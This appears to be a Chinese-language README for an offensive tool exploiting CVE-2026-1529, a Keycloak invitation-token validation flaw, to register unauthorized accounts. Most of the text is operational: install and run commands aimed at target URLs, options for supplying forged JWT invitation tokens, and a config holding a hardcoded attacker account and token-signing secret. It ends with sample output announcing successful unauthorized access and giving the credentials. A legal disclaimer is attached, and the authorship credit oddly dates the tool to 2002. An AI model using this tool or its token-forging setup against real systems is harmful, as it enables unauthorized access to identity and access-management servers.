CVE-2026-1529:Keycloak - 通过不当的邀请令牌验证实现未授权组织注册
⚠️ 警告:本工具仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法的。
本工具演示了 Keycloak 中的一个严重漏洞(CVE-2026-1529),该漏洞允许通过不当的 JWT 邀请令牌验证实现未授权组织注册。该漏洞利用通过操纵邀请令牌来获得对 Keycloak 实例的未授权访问。
漏洞详情:
# 克隆仓库
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate # Windows 系统:venv\Scripts\activate
# 安装依赖
pip install -r requirements.txt
# 创建目录结构
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# 从发布版本下载文件或手动复制
# 然后安装依赖
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # 主漏洞利用脚本
├── requirements.txt # Python 依赖
├── README.md # 本文件
├── config/
│ └── default_config.json # 配置文件
├── utils/
│ ├── __init__.py # 包初始化文件
│ ├── http_utils.py # HTTP 客户端工具
│ ├── jwt_utils.py # JWT 操纵
│ └── crypto_utils.py # 加密工具
├── logs/ # 自动生成的日志
└── output/
└── reports/ # 漏洞利用报告
python3 keycloak-exploit.py https://target-keycloak.com
# 使用自定义邀请令牌
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# 使用自定义组织 ID
python3 keycloak-exploit.py -o custom_org_id https://target.com
# 使用自定义配置文件
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# 启用调试日志
python3 keycloak-exploit.py -d https://target.com
# 显示帮助
python3 keycloak-exploit.py -h
# 显示版本
python3 keycloak-exploit.py -v
编辑 config/default_config.json 以自定义漏洞利用参数:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
该漏洞利用按以下步骤进行:
漏洞检查
令牌生成/操纵
用户注册
登录验证
报告生成
output/reports/┌─────────────────┐
│ 目标检查 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 令牌生成/获取 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 令牌操纵 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 用户注册 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 登录测试 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 报告生成 │
└─────────────────┘
============================================================
CVE-2026-1529 漏洞利用结果
============================================================
✓ 目标存在 CVE-2026-1529 漏洞
🎯 漏洞利用成功!
用户名:admin_user_2026
密码:KeycloakCVE2026!
邮箱:[email protected]
登录链接:https://target.com/realms/master/account
📄 报告已保存至:output/reports/exploit_report_20260211_050507.txt
🔐 使用提供的凭据访问 Keycloak 实例!
⚠️ 这演示了因 CVE-2026-1529 导致的未授权访问
============================================================
by f3ds cr3w est, 2002
============================================================
详细报告保存至 output/reports/,包含:
日志保存至 logs/ 目录,包含详细的执行信息。
解决方案:
# 确保你在正确的目录中
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
解决方案:
# 确保 config 目录存在
mkdir -p config
# 在 config/ 中复制或创建 default_config.json
解决方案: 此问题已在最新版本中修复。更新 urllib3:
pip install --upgrade urllib3
可能原因:
解决方案:
# 启用调试日志以查看更多详细信息
python3 keycloak-exploit.py -d https://target.com
解决方案:
# 在 config/default_config.json 中增加超时时间
"timeout": 60
启用详细日志以排查问题:
python3 keycloak-exploit.py -d https://target.com
这将显示:
⚠️ 重要法律声明 ⚠️
本工具仅用于教育和授权的安全测试目的。
使用本工具即表示您同意:
1. 您只会在您拥有或获得明确书面许可的系统上使用本工具。
2. 您了解未经授权访问计算机系统是违法的,相关法律包括但不限于:
- 《计算机欺诈和滥用法》(CFAA)- 美国
- 《计算机滥用法》- 英国
- 其他国家的类似法律
3. 您对使用本工具的任何后果承担全部责任。
4. 作者和贡献者不对本工具造成的任何滥用或损害负责。
5. 本工具按"原样"提供,不附带任何形式的保证。
自行承担使用风险。未经授权访问是犯罪行为。
欢迎贡献!请遵循以下指南:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# 克隆你的 fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate
# 安装依赖
pip install -r requirements.txt
# 进行更改并测试
python3 keycloak-exploit.py https://test-target.com
创建者: f3ds cr3w est, 2002
如有问题、疑问或安全顾虑:
请记住: 始终践行负责任的披露和道德黑客行为。 参考:https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation 由 f3ds cr3w est, 2002 用 ❤️ 制作
| 参数 | 简写 | 描述 |
|---|
target | - | 目标 Keycloak URL(必填) |
--token | -t | 自定义邀请令牌 |
--org-id | -o | 自定义组织 ID |
--config | -c | 配置文件路径 |
--debug | -d | 启用调试日志 |
--version | -v | 显示版本信息 |
--help | -h | 显示帮助信息 |
| 部分 | 参数 | 描述 | 默认值 |
|---|
exploit | default_username | 注册用户名 | admin_user_2026 |
exploit | default_password | 注册密码 | KeycloakCVE2026! |
exploit | default_email | 注册邮箱 | [email protected] |
exploit | timeout | HTTP 请求超时时间(秒) | 30 |
exploit | max_retries | 最大 HTTP 重试次数 | 3 |
jwt | algorithm | JWT 签名算法 | HS256 |
jwt | secret_key | JWT 密钥 | 自定义 |
jwt | token_expiry | 令牌过期时间(秒) | 3600 |